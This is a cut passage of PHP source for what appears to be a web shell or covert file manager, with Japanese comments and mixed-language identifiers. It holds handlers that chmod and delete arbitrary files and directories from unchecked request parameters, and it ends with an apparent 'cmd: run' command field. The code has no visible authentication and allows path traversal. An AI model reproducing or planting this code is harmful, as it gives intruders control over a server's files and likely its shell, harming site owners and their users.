rw-r--r--)</small> </div> <input type="hidden" name="chmod_target" value="' . htmlspecialchars($_GET['chmod']) . '"> <input type="submit" class="btn btn-dark" value="Change Permissions" name="change_permissions"> <a href="?p=' . 경로인코딩(PATH) . '" class="btn btn-secondary">Cancel</a> </form> </div>'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo ("<script>alert('Permissions changed successfully to 0" . $新しい権限 . "'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Failed to change permissions.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } else { echo ("<script>alert('Invalid permissions format. Please use 3-digit octal format (e.g., 755, 644).'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html>
Save
cmd:
run